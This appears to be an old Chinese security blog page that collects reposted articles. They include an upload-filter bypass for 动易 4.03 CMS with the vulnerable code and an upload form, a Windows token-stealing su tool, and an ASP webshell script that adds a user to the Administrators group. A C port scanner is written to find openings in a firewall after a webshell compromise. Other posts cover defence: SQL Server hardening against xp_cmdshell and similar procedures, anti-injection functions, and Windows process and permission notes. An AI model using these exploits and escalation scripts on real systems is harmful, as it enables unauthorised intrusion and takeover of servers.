关于作者

用户名:r4t
笔名:r4t
地区:
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



推荐

相知

art

访问统计:
文章个数:62
评论个数:10
留言条数:1




Powered by BlogDriver 2.1

r4t

 

换换换

文章

本站公告

这个就留着作纪念了!

正式转向http://www.m19.com.cn/

- 作者: r4t 2005年04月16日, 星期六 12:02  回复(0) |  引用(0) 加入博采

最新公布的动易4.03上传漏洞
最新``公布的动易4.03上传漏洞`[转帖]


影响版本: 动易4.03

<%@language=vbscript codepage=936 %>
<%
option explicit
response.buffer=true
Server.ScriptTimeOut=9999999
%>
<!--#include file="../conn.asp"-->
<!--#include file="../inc/function.asp"-->
<!--#include file="../inc/upfile_class.asp"-->
<%
const upload_type=0 '上传方法:0=无惧无组件上传类,1=FSO上传 2=lyfupload,3=aspupload,4=chinaaspupload

dim ChannelID
dim AdminName
dim EnableUploadFile,MaxFileSize,UpFileType,SavePath,SavePath2
dim objUpload,oFile,FormName,strFileName,FileExt
dim ImgWidth,ImgHeight,AlignType
dim EnableUpload
dim arrUpFileType
dim ranNum,i,strJS,msg,dtNow '这些定义上传变量
AdminName=trim(session("AdminName")) '判断seesion值是否正确
UserName=trim(request.Cookies("asp163")("UserName")) '判断cookie
msg=""
FoundErr=false
EnableUpload=false '上面这些定义了,如果seesion和cookie不合法,就出错
dtNow=Now()
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
BODY{
BACKGROUND-COLOR: #E1F4EE;
font-size:9pt
}
-->
</style>
</head>
<body leftmargin="2" topmargin="0" marginwidth="0" marginheight="0">
<%
if AdminName="" and UserName="" then '如果admin和username为空就出错,如果假的不为空的用户名会怎么样呢,但是上面的要注意
response.Write("请登录后再使用本功能!")
else
select case upload_type
case 0
call upload_0() '使用化境无组件上传类
case else
'response.write "本系统未开放插件功能"
'response.end
end select
end if
call CloseConn()
%>
</body>
</html>
<%
sub upload_0() '使用化境无组件上传类
set objUpload=new upfile_class ''建立上传对象
objUpload.GetData(104857600) '取得上传数据,限制最大上传100M
if objUpload.err > 0 then '如果出错
select case objUpload.err
case 1
response.write "请先选择你要上传的文件!"
case 2
response.write "你上传的文件总大小超出了最大限制(100M)"
end select
response.end
end if

'开始了对ChannelID的判断
ChannelID=trim(objUpload.form("ChannelID"))
if ChannelID="" then '判断了,如果为空就出错

response.write "频道参数丢失!"
exit sub '原来平时丢失的原因是因为ID不合要求
end if
ChannelID=Clng(ChannelID)
sqlChannel="select * from PE_Channel where ChannelID=" & ChannelID
set rsChannel=server.createObject("adodb.recordset")
rsChannel.open sqlChannel,conn,1,1
if rsChannel.bof and rsChannel.eof then
response.write "找不到此频道"
FoundErr=True '变量出错
end if
if rsChannel("Disabled")=True then
response.write "此频道已经被禁用!"
FoundErr=True '上面进行对频道出错的判断和处理
else
EnableUploadFile=rsChannel("EnableUploadFile")
MaxFileSize=rsChannel("MaxFileSize")
SavePath=strInstallDir & rsChannel("ChannelDir") & "/UploadSoftPic/" '保存的路径
UpFileType=rsChannel("UpFileType") '成功上传对大小,路径,类型的处理
end if
rsChannel.close
set rsChannel=nothing
if EnableUploadFile=False then
response.write "本频道未开放文件上传功能"
FoundErr=True
end if

if FoundErr=True then exit sub

for each FormName in objUpload.file '列出所有上传了的文件
EnableUpload=False
set ofile=objUpload.file(FormName) '生成一个文件对象
if ofile.filesize<100 then
msg="请先选择你要上传的文件!"
FoundErr=True
end if
if ofile.filesize>(MaxFileSize*1024) then
msg="文件大小超过了限制,最大只能上传" & CStr(MaxFileSize) & "K的文件!"
FoundErr=true
end if

FileExt=lcase(ofile.FileExt) '判断扩展名
arrUpFileType=split(UpFileType,"│")
for i=0 to ubound(arrUpFileType)
if FileExt=trim(arrUpFileType(i)) then
EnableUpload=true
exit for
end if
next
if FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="cer" or FileExt="cdx" then
EnableUpload=false '哈哈,关键在这里啦,上传漏洞在这里啦
end if
if EnableUpload=false then
msg="这种文件类型不允许上传!/n/n只允许上传这几种文件类型:" & UpFileType
FoundErr=true
end if

strJS="<SCRIPT language=javascript>" & vbcrlf
if FoundErr<>true then
if ObjInstalled_FSO=True then
SavePath2=year(dtNow) & right("0" & month(dtNow),2) & "/"
SavePath=SavePath & SavePath2
if not fso.FolderExists(server.mappath(SavePath)) then
fso.createFolder server.mappath(SavePath)
end if
end if

randomize
ranNum=int(900*rnd)+100
strFileName=year(dtNow) & right("0" & month(dtNow),2) & right("0" & day(dtNow),2) & right("0" & hour(dtNow),2) & right("0" & minute(dtNow),2) & right("0" & second(dtNow),2) & ranNum & "." & FileExt

ofile.SaveToFile Server.mappath(SavePath & strFileName) '保存文件

msg="图片上传成功!"
strJS=strJS & "parent.document.myform.SoftPicUrl.value='UploadSoftPic/" & SavePath2 & strFileName & "'" & vbcrlf
end if
strJS=strJS & "alert('" & msg & "');" & vbcrlf
strJS=strJS & "history.go(-1);" & vbcrlf
strJS=strJS & "</script>"
response.write strJS
set ofile=nothing
next
set objUpload=nothing
end sub
%>

上面的是动易的上传代码,从上面分析,我们可以看到,它明显存在着上传漏洞。重要的漏洞代
码在于这一句
FileExt=lcase(ofile.FileExt) '判断扩展名
arrUpFileType=split(UpFileType,"│")
for i=0 to ubound(arrUpFileType)
if FileExt=trim(arrUpFileType(i)) then
EnableUpload=true
exit for
end if
next
if FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="cer" or FileExt="cdx" then
EnableUpload=false

一个变量的出错导致上传漏洞的产生。原理都是利用加个空格,因为asp (后面有空格)是不等于asp的,而对
于windows对于碰到有空格的他会自动去掉空格,所以当我们上传一个asp 文件就会变成一个asp
文件。

利用的方法,主要是在于对channelID的突破,其它的好办,只要可以构造一下不为空的id就可以了。

encType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName> <INPUT class=tx1 type=file size=30 name=FileName1> <INPUT style="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上传 name=Submit>
<INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID>

- 作者: r4t 2005年03月25日, 星期五 09:36  回复(0) |  引用(0) 加入博采

win下实现切换帐号的方法

目前实现的方法有几种:
1.CreateProcessWithLogonW() //需要密码
2.LogonUser(),CreateProcessAsUser() //也需要密码
3.NtCreateToken(),CreateProcessAsUser() //不需要密码

1,2外面都有很多工具. 3的话bingle的wsu -f可以实现.
不过bingle的wsu只是做了SID的处理, 他切换到guest后,该环境下依然对system32目录有写权限.切换到SYSTEM后,对sam键还是打不开.
根据bingle的wsu原形,重写了一下SU, 可以真正做到权限切换,即使帐号被禁止
缺点是在终端下只能su到admin组和SYSTEM帐号.不能切换到普通用户,这个问题我是放弃了, 如果谁可以做到欢迎帮我完善.
[root@DUMPLOGIN C:\WINNT\system32]#reg query HKEY_LOCAL_MACHINE\SECURITY

Error:
[root@DUMPLOGIN C:\WINNT\system32]#
[[root@DUMPLOGIN E:\mytestc\su]#su4 -u system
su.exe like unix su tool,version 4.1
by bkbll (bkbll#cnhonker.net) http://www.cnhonker.com

[+] Enable SeDebugPrivilege..
[+] Get Lsass.exe Pid....292
[+] GrantPrivilege From Lsass ....
[+] Calling NtCreateTokenAsuser ...
[+] CreateProcess By that Token...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

[root@DUMPLOGIN E:\mytestc\su]#reg query HKEY_LOCAL_MACHINE\SECURITY

! REG.EXE VERSION 2.0

HKEY_LOCAL_MACHINE\SECURITY

HKEY_LOCAL_MACHINE\SECURITY\Policy

HKEY_LOCAL_MACHINE\SECURITY\RXACT

HKEY_LOCAL_MACHINE\SECURITY\SAM

[root@DUMPLOGIN E:\mytestc\su]#

搞这个东西搞的我疲惫不堪. 苦啊. 将我的代码贴出来,希望以后对大家有所帮助, 少走弯路.

在这个期间骚扰bingle和tk n次,谢谢他们。

这个东东目前只在win2k sp4 cn上测试过, xp/2003缺少环境, 希望有人能帮我测试. :)


附件 su4_upload.c ( 下载次数: 169 )
作者:dumplogin
来自:安全焦点


- 作者: r4t 2005年03月1日, 星期二 09:25  回复(0) |  引用(0) 加入博采

NB联盟 SQL安全设置攻略
日前SQL INJECTION的攻击测试愈演愈烈,很多大型的网站和论坛都相继被注入。这些网站一般使用的多为SQL SERVER数据库,正因为如此,很多人开始怀疑SQL SERVER的安全性。其实SQL SERVER 2000已经通过了美国政府的C2级安全认证-这是该行业所能拥有的最高认证级别,所以使用SQL SERVER还是相当的安全的。当然和ORCAL、DB2等还是有差距,但是SQL SERVER的易用性和广泛性还是能成为我们继续使用下去的理由。那怎么样才能使SQL SERVER的设置让人使用的放心呢?

 

第一步肯定是打上SQL SERVER最新的安全补丁,现在补丁已经出到了SP3。下载地址:http://www.microsoft.com/sql/downloads/2000/sp3.asp。如果这一步都没有做好,那我们也没有继续下去的必要了。

第二步是修改默认的1433端口,并且将SQL SERVER隐藏。这样能禁止对试图枚举网络上现有的 SQL Server 客户端所发出的广播作出响应。另外,还需要在TCP/IP筛选中将1433端口屏蔽掉,尽可能的隐藏你的SQL SERVER数据库。这样子一但让攻击创建了SQL SERVER的账号,也不能马上使用查询分析器远程登陆来进行下一步的攻击。单从ASP,PHP等页面构造恶意语句的话,还有需要查看返回值的问题,总比不上直接查询分析器来得利落。所以我们首先要做到即使让别人注入了,也不能让攻击者下一步做得顺当。修改方法:企业管理器 --> 你的数据库组 --> 属性 --> 常规 --> 网络配置 --> TCP/IP --> 属性 ,在这儿将你的默认端口进行修改,和SQL SERVER的隐藏。

第三步是很重要的一步,SQL INJECTION往往在WEB CODE中产生。而做为系统管理员或者数据库管理员,总不能常常的去看每一段代码。即使常常看代码,也不能保证我们在上面的疏忽。那怎么办?我们就要从数据库角色着手,让数据库用户的权限划分到最低点。SQL SERVER的默认权限让人真的很头疼,权限大得非常的高,权限小的又什么都做不了,SYSADMIN和db_owner真是让人又爱又恨。攻击者一但确认了网站存在SQL INJECTION漏洞,肯定有一步操作步骤就是测试网站的SQL SERVER使用者具有多大的权限。一般都会借助SELECT IS_SRVROLEMEMBER('sysadmin'),或者SELECT IS_MEMBER('db_owner'),再或者用user = 0(让字符和数字进行比较,SQL SERVER就会提示了错误信息,从该信息中即可知道一些敏感信息)等语句进行测试。方法还有,我也不敢多说了。其一怕错,其二怕联盟中的人扁。在当前,如果网站的数据库使用者用的是SA权限,再加上确认了WEB所处在的绝对路径,那么就宣告了你的网站的OVER。db_owner权限也一样,如果确认了绝对路径,那么有50%的机会能给你的机器中上WEB 方式的木马,如海阳等。所以这儿我们确认了一点,我们必须要创建自已的权限,让攻击者找不着下嘴的地方。在这儿引用一个SQL SERVER联机帮助中的例子:

创建 SQL Server 数据库角色的方法(企业管理器)
创建 SQL Server 数据库角色 
1.        展开服务器组,然后展开服务器。
2.        展开"数据库"文件夹,然后展开要在其中创建角色的数据库。
3.        右击"角色",然后单击"新建数据库角色"命令。
4.        在"名称"框中输入新角色的名称。
5.        单击"添加"将成员添加到"标准角色"列表中,然后单击要添加的一个或多个用户。(可选) 
只有选定数据库中的用户才能被添加到角色中。

对象权限
处理数据或执行过程时需要称为对象权限的权限类别: 
·        SELECT、INSERT、UPDATE 和 DELETE 语句权限,它们可以应用到整个表或视图中。
·        SELECT 和 UPDATE 语句权限,它们可以有选择性地应用到表或视图中的单个列上。
·        SELECT 权限,它们可以应用到用户定义函数。
·        INSERT 和 DELETE 语句权限,它们会影响整行,因此只可以应用到表或视图中,而不能应用到单个列上。
·        EXECUTE 语句权限,它们可以影响存储过程和函数。 

语句权限
创建数据库或数据库中的项(如表或存储过程)所涉及的活动要求另一类称为语句权限的权限。例如,如果用户必须能够在数据库中创建表,则应该向该用户授予 CREATE TABLE 语句权限。语句权限(如 CREATE DATABASE)适用于语句自身,而不适用于数据库中定义的特定对象。
语句权限有: 
·        BACKUP DATABASE
·        BACKUP LOG
·        CREATE DATABASE
·        CREATE DEFAULT
·        CREATE FUNCTION
·        CREATE PROCEDURE
·        CREATE RULE
·        CREATE TABLE
·        CREATE VIEW 

暗示性权限
暗示性权限控制那些只能由预定义系统角色的成员或数据库对象所有者执行的活动。例如,sysadmin 固定服务器角色成员自动继承在 SQL Server 安装中进行操作或查看的全部权限。 
数据库对象所有者还有暗示性权限,可以对所拥有的对象执行一切活动。例如,拥有表的用户可以查看、添加或删除数据,更改表定义,或控制允许其他用户对表进行操作的权限。

db_owner                          在数据库中有全部权限。
db_accessadmin                        可以添加或删除用户 ID。
db_securityadmin                可以管理全部权限、对象所有权、角色和角色成员资格。
db_ddladmin                        可以发出 ALL DDL,但不能发出 GRANT、REVOKE 或 DENY 语句。
db_backupoperator                可以发出 DBCC、CHECKPOINT 和 BACKUP 语句。
db_datareader                        可以选择数据库内任何用户表中的所有数据。
db_datawriter                        可以更改数据库内任何用户表中的所有数据。
db_denydatareader                不能选择数据库内任何用户表中的任何数据。
db_denydatawriter                不能更改数据库内任何用户表中的任何数据。

在这儿把新建的数据库角色的权限配置好,比如需要使用哪个表、视图、存储过程等。然后把Db_owner和db_securityadmin、db_backupoperator取消,不给攻击者BACKUP DATABASE和CREATE TABLE的机会,一但攻击者具有这两个权限,那么你的网站就还处在十分危险的状态。还有注意一下,在创建数据库账号时,千万不能对服务器角色进行选择。


第四步是修改SQL SERVER内置存储过程。SQL SERVER估计是为了安装或者其它方面,它内置了一批危险的存储过程。能读到注册表信息,能写入注册表信息,能读磁盘共享信息等等......各位看到这儿,心里可能会在想,我的网站中有其它的代码,又不像查询分析器那样能查接将结果输出。给你这个权限,又不能怎么样,还是看不到信息。如果各位这样想就大错特错了。提示一下,如果攻击者有CREATE TABLE的权限,那么创建一个临时表,然后将信息INSERT到表中,然SELECT出来,接着跟数字进行比较,让SQL SERVER报错,那么结果就全出来了......所以我们要报着宁错杀,不放过的态度进行修补。

先来列出危险的内置存储过程:

xp_cmdshell
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

ActiveX自动脚本:

sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop

以上各项全在我们封杀之列,例如xp_cmdshell屏蔽的方法为:sp_dropextendedproc 'xp_cmdshell',如果需要的话,再用sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'进行恢复。如果你不知道xp_cmdshell使用的是哪个.dll文件的话,可以使用sp_helpextendedproc xp_cmdshell来查看xp_cmdshell使用的是哪个动态联接库。另外,将xp_cmdshell屏蔽后,我们还需要做的步骤是将xpsql70.dll文件进行改名,以防止获得SA的攻击者将它进行恢复。

我们做到这儿,你的SQL SERVER就基本上安全了。但是信息还是能一样的外泄。毕竟SELECT我们是无法取消的,除非你的网站用的是HTML。SQL INJECTION的防范还需要我们这些程序员来注意,这才是治本之法。我们在高级设置篇再接着对SQL SERVER的安全做下一步的分析。该篇文章如果有什么错漏,请大家多多包涵。谢谢......

另外推荐一下,SQL INJECTION的测试工具NBSI2,这是由联盟中小竹同志开发,对SQL INJECTION的注入有代表性的作用,另外一个就是小弟的NBWEBSHELL了。这些工具都可以到联盟网站进行下载

NB联盟-jadesun(裤衩) QQ:280155
NB网站:www.54nb.com





SQL注入防御方法-程序员篇

作者:NB联盟-小竹

  SQL注入越来越多的被利用来入侵网站,部分WEB程序员也开始关注这方面的知识,但由于对入侵的方法一知半解,导致在过滤的时候漏掉某些字符,造成安全漏洞;或者是草木皆兵,把一些合法的用户请求都拒之门外,试想一下,当用户想输入个I'm a boy的时候,却给你臭骂一顿,他还会愿意再上你的网站吗?

下面,我从程序方面介绍一下SQL注入的防御方法,首先看这三句最简单SQL语句
1.SQL="Select * from Users where UserID=" & Request("ID")
2.SQL="Select * from Users where UserID='" & Request("ID") & "'"
3.SQL="Select * from Users where UserName like '%" & Request("Name") & "%'"

第一句,参数是数字型,这个很明显。第二句,如果字段UserID是int型,就有些人分不清楚了。其实,区分第数字弄和字符型参数,只要看SQL语句参数两边有没有单引号即可,很明显,第一句没单引号,是数字型;第二第三句有单引号,是字符型。

  对于数字型变量,传入的参数都会直接附加到SQL语句上执行,而因为参数是数字型,所以用isNumeric判断是很安全的,我曾经试过用\0之类试图断开参数,但结果都是失败。

  对于字符型变量,传入的参数都是做为常量,比如你传1 and 1=1进去,SQL语句就是UserID='1 and 1=1',在单引号界定范围里面的值永远都只是一个常量,要打破这个范围,唯一的字符就是界定的字符:单引号。所以,字符型变量只要过滤了'号就完全安全了,至于如何过滤,最好是把一个单引号替换成两个单引号,因为SQL语句里面规定,'常量'这样表示的常量里面,常量里面如果要有单引号,可以用两个单引号代替。这样,既可以保持用户输入的原貌,又可以保证程序的安全。

  下面是两个函数,大家可以Copy过去直接调用就行了。

'---------------------------------------------------------------
' NB联盟防注入函数 ReqNum / ReqStr
'---------------------------------------------------------------
Function ReqNum ( StrName )
ReqNum = Request ( StrName )
if Not isNumeric ( ReqNum ) then
Response.Write "参数必须为数字型!"
Response.End
End if
End Function

Function ReqStr ( StrName )
ReqStr = Replace ( Request(StrName), "'", "''" )
End Function

以上面三句SQL语句,说明一下调用方法:
1.SQL="Select * from Users where UserID=" & ReqNum("ID")
2.SQL="Select * from Users where UserID='" & ReqStr("ID") & "'"
3.SQL="Select * from Users where UserName like '%" & ReqStr("Name") & "%'"

  重申一点:上面的方法无论对SQLServer库还是Access或是其它数据库,都是绝对适用、绝对安全,但注意一点,SQLServer的存储过程是个例外,该情况下要把单引号替换成四个单引号,以保安全。

另外,NB联盟-裤衩曾经写过一篇SQLServer安全设置的文章,在程序有漏洞的时候,该文章可以让入侵者或得尽可能少的权限及数据,该文章已经发表在www.54NB.com,有兴趣的可以去看看。


- 作者: r4t 2005年02月24日, 星期四 14:41  回复(0) |  引用(0) 加入博采

添加超级用户的.asp代码
作者:蓝屏,凯文 文章来源:冰点极限

其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加Administrators组的用户了(虽然我不敢相信我的眼睛).
上次凯文不发话,我不敢发布啊....现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯```

反正代码是对的,但是很少能成功,具体的看运气了。。呵呵,下一步我想把他整合到海洋里面去。嘿嘿。


<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
<input type="submit" Value="添 加">
</form>

<%@codepage=936
on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
response.write "iP !s n0T RiGHt"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
if err then
response.write "哎~~今天你还是别买6+1了......省下2元钱买瓶可乐也好......"
else
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
%>

- 作者: r4t 2005年02月24日, 星期四 14:37  回复(0) |  引用(0) 加入博采

探测远程主机上防火墙允许开放的端口

   上次拿到一个webshell,可是接着遇到麻烦——主机装了硬件防火墙。虽然发现主机的MSSQL存在hello溢出漏洞,但是由于防火墙的阻挠始终拿不到shell(反向连接时发现仅仅能够连接,没有数据过来),另外又试了N种本地提升权限的方法但以失败告终。郁闷!后来又想到如果在webshell里用sqlhello溢出绑定一个防火墙允许开的端口,那不就ok了。当然这个端口必须是现在关闭着的。

    大家都知道如果能够连接远程主机的某个端口,那么这个端口自然是防火墙允许开放的。现在的问题是,现在端口关闭着,如何判断呢?

    这里我想到有大虾说过telnet远程主机端口时,如果很快返回连接失败就说明端口关闭;如果等了十多秒才返回多半是对方装有防火墙。这个方法是对的,可是一共有65535个端口,不会让我慢慢去telnet吧,所以就写个程序自动去扫。

    同端口扫描程序类似,这个程序也调用winsock的connect函数,但由于端口是关闭的,所以connect会返回一个错误码10061(连接被拒。由于被目标机器拒绝,连接无法建立);但如果是对方的防火墙拦截了连接请求的话,过段时间就会返回10060错误(连接超时)。利用返回的错误类型我们就可以判断该端口是否为远程主机防火墙允许开放的了。不过这里注意,如果目标ip不存在主机的话也会超时的哦。

    原理搞懂了写程序也就很简单了,就是调用winsock的connect。关于winsock编程参考《WINDOWS网络编程技术》吧;嗯,另外注意用多线程,不然的话,呵呵,一整天都扫不完。多线程要使用CreateThread这个API函数,看看MSDN吧。随便在网上找了个扫描器代码参考,写了这个程序,代码如下:

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <winbase.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32.lib")

#define MAXThreadCount 100//设置最大线程数
#define SumScanCount 65535//设置扫描端口总数
struct sockaddr_in server;
int ThreadCount=0;
int dwThrdParam = 1; //CreateThread的参数,提到前面好计算

unsigned int resolve(char *name)
{
    struct hostent *he;
    unsigned int ip;

    if((ip=inet_addr(name))==(-1))
    {
        if((he = gethostbyname(name))==0)
  {
   printf("ERROR: Don't find the %s .\n",name);
            exit(0);
  }
        memcpy(&ip,he->h_addr,4);
    }
    return ip;
}

DWORD WINAPI Scan(LPVOID lpParam )
{
 int mysock,code,port=(int)lpParam ;
 mysock=socket(AF_INET,SOCK_STREAM,0);
 if(mysock < 0) { printf("socket error!"); }
 
 
 server.sin_port = htons(port);
 
 if(connect(mysock,(struct sockaddr *) & server,sizeof(server))!=0)
 {
  code=GetLastError();
  if(code==10061)printf("port %d allown open\n",port);
 }
 else
 {
  printf("port %d openning\n",port);
 }
 closesocket(mysock);
 ThreadCount--;
    return 0;
}
void thread(int port)
{
 DWORD dwThreadId;
    HANDLE hThread;
 WSADATA ws;
  if   (WSAStartup( MAKEWORD(2,2), &ws )!=0)
  {
   printf(" [-] WSAStartup() error\n");
   exit(0);
  }
 
    hThread = CreateThread(
        NULL,                        // no security attributes
        0,                           // use default stack size 
        Scan,                  // thread function
        (LPVOID)port,                // argument to thread function
        0,                           // use default creation flags
        &dwThreadId);                // returns the thread identifier
   if (hThread == NULL)
     printf( "CreateThread failed." );
 dwThrdParam++;
 ThreadCount++;
 Sleep(200);     //延时,否则CPU会用满......
  CloseHandle(hThread);
}


void main(int argc, char* argv[])
{
 if(argc!=2)
 {
  printf("\n- This program find port that firewall allow open  -\n");
  printf("- Only for test by lake2 - \n");
  printf("Usage: %s IP\n",argv[0]);
  exit(0);
 }
 server.sin_family = AF_INET;
 server.sin_addr.s_addr = resolve( argv[1] );
 printf("Starting and waiting..............\n");
 while( dwThrdParam <= SumScanCount )
 {
  if( ThreadCount < MAXThreadCount ){ thread(dwThrdParam); }
 }
 while( ThreadCount!=0 ){ }
 WSACleanup();
 printf("Done!");
}


    运行程序,填上ip它就会自动探测所有端口,由于那些被过滤的端口大概都差不多要等二十秒,速度比较慢,可以自己设个超时值加快速度;另外也可以修改一下让用户自定义扫描范围等等,现在不管了,用得起就行。编译好的程序这里可以找到:http://www.cnnb.net.cn/lake2/soft/PortScan.exe

    程序做好了当然要拿来用啦,经过漫长的3小时多的扫描之后,得到结果:目标主机防火墙只开放80端口。当场晕死!唉,"路漫漫其修远兮,吾将上下而求索"......

    lake2
    2005-1-18


- 作者: r4t 2005年02月22日, 星期二 15:15  回复(3) |  引用(0) 加入博采

Windows 2000系统进程
Windows 2000/XP 的任务管理器是一个非常有用的工具,它能提供我们很多信息,比如现在系统中运行的程序(进程),但是面对那些文件可执行文件名我们可能有点茫然,不知道它们是做什么的,会不会有可疑进程(病毒,木马等)。本文的目的就是提供一些常用的Windows 2000 中的进程名,并简单说明它们的用处。 

在 WINDOWS 2000 中,系统包含以下缺省进程: 
Csrss.exe 
Explorer.exe 
Internat.exe 
Lsass.exe 
Mstask.exe 
Smss.exe 
Spoolsv.exe 
Svchost.exe 
Services.exe 
System 
System Idle Process 
Taskmgr.exe 
Winlogon.exe 
Winmgmt.exe 


下面列出更多的进程和它们的简要说明 

进程名描述 

smss.exeSessionManager 
csrss.exe 子系统服务器进程 
winlogon.exe管理用户登录 
services.exe包含很多系统服务 
lsass.exe 管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。 
svchost.exe Windows 2000/XP 的文件保护系统 
SPOOLSV.EXE 将文件加载到内存中以便迟后打印。) 
explorer.exe资源管理器 
internat.exe托盘区的拼音图标) 
mstask.exe允许程序在指定时间运行。 
regsvc.exe允许远程注册表操作。(系统服务)->remoteregister 
winmgmt.exe 提供系统管理信息(系统服务)。 
inetinfo.exemsftpsvc,w3svc,iisadmn 
tlntsvr.exe tlnrsvr 
tftpd.exe 实现 TFTP Internet 标准。该标准不要求用户名和密码。 
termsrv.exe termservice 
dns.exe 应答对域名系统(DNS)名称的查询和更新请求。 
tcpsvcs.exe 提供在 PXE 可远程启动客户计算机上远程安装 Windows 2000 Professional 的能力。 
ismserv.exe 允许在 Windows Advanced Server 站点间发送和接收消息。 
ups.exe 管理连接到计算机的不间断电源(UPS)。 
wins.exe为注册和解析 NetBIOS 型名称的 TCP/IP 客户提供 NetBIOS 名称服务。 
llssrv.exe证书记录服务 
ntfrs.exe 在多个服务器间维护文件目录内容的文件同步。 
RsSub.exe 控制用来远程储存数据的媒体。 
locator.exe 管理 RPC 名称服务数据库。 
lserver.exe 注册客户端许可证。 
dfssvc.exe管理分布于局域网或广域网的逻辑卷。 
clipsrv.exe 支持"剪贴簿查看器",以便可以从远程剪贴簿查阅剪贴页面。 
msdtc.exe 并列事务,是分布于两个以上的数据库,消息队列,文件系统或其它事务保护护资源管理器。 
faxsvc.exe帮助您发送和接收传真。 
cisvc.exe 索引服务 
dmadmin.exe 磁盘管理请求的系统管理服务。 
mnmsrvc.exe 允许有权限的用户使用 NetMeeting 远程访问 Windows 桌面。 
netdde.exe提供动态数据交换 (DDE) 的网络传输和安全特性。 
smlogsvc.exe配置性能日志和警报。 
rsvp.exe为依赖质量服务(QoS)的程序和控制应用程序提供网络信号和本地通信控制安装功功能。 
RsEng.exe 协调用来储存不常用数据的服务和管理工具。 
RsFsa.exe 管理远程储存的文件的操作。 
grovel.exe扫描零备份存储(SIS)卷上的重复文件,并且将重复文件指向一个数据存储点,以节省磁盘空间(只对 NTFS 文件系统有用)。 
SCardSvr.ex 对插入在计算机智能卡阅读器中的智能卡进行管理和访问控制。 
snmp.exe包含代理程序可以监视网络设备的活动并且向网络控制台工作站汇报。 
snmptrap.exe接收由本地或远程 SNMP 代理程序产生的陷阱(trap)消息,然后将消息传递到运行在这台计算机上 SNMP 管理程序。 
UtilMan.exe 从一个窗口中启动和配置辅助工具。 
msiexec.exe依据 .MSI 文件中包含的命令来安装、修复以及删除软件。 

总结: 发现可疑进程的秘诀就是要多看任务管理器中的进程列表,看多了以后,一眼就可以发现可可疑进程,就象找一群熟悉人中的陌生人一样。

- 作者: r4t 2005年02月22日, 星期二 13:21  回复(0) |  引用(0) 加入博采

Windows下权限设置详解
创建时间:2005-02-15
文章属性:原创
文章提交:mrcool (mrcoolfuyu_at_tom.com)

随 着动网论坛的广泛应用和动网上传漏洞的被发现以及SQL注入式攻击越来越多的被使用,WEBSHELL让防火墙形同虚设,一台即使打了所有微软补丁、只让 80端口对外开放的WEB服务器也逃不过被黑的命运。难道我们真的无能为力了吗?其实,只要你弄明白了NTFS系统下的权限设置问题,我们可以对 crackers们说:NO!
    
    要打造一台安全的WEB服务器,那么这台服务器就一定要使用NTFS和Windows NT/2000/2003。众所周知,Windows是一个支持多用户、多任务的操作系统,这是权限设置的基础,一切权限设置都是基于用户和进程而言的, 不同的用户在访问这台计算机时,将会有不同的权限。DOS是个单任务、单用户的操作系统。但是我们能说DOS没有权限吗?不能!当我们打开一台装有DOS 操作系统的计算机的时候,我们就拥有了这个操作系统的管理员权限,而且,这个权限无处不在。所以,我们只能说DOS不支持权限的设置,不能说它没有权限。 随着人们安全意识的提高,权限设置随着NTFS的发布诞生了。
    
    Windows NT里,用户被分成许多组,组和组之间都有不同的权限,当然,一个组的用户和用户之间也可以有不同的权限。下面我们来谈谈NT中常见的用户组。

    Administrators,管理员组,默认情况下,Administrators中的用户对计算机 /域有不受限制的完全访问权。分配给该组的默认权限允许对整个系统进行完全控制。所以,只有受信任的人员才可成为该组的成员。
Power Users,高级用户组,Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务。分配给 Power Users 组的默认权限允许 Power Users 组的成员修改整个计算机的设置。但Power Users 不具有将自己添加到 Administrators 组的权限。在权限设置中,这个组的权限是仅次于Administrators的。

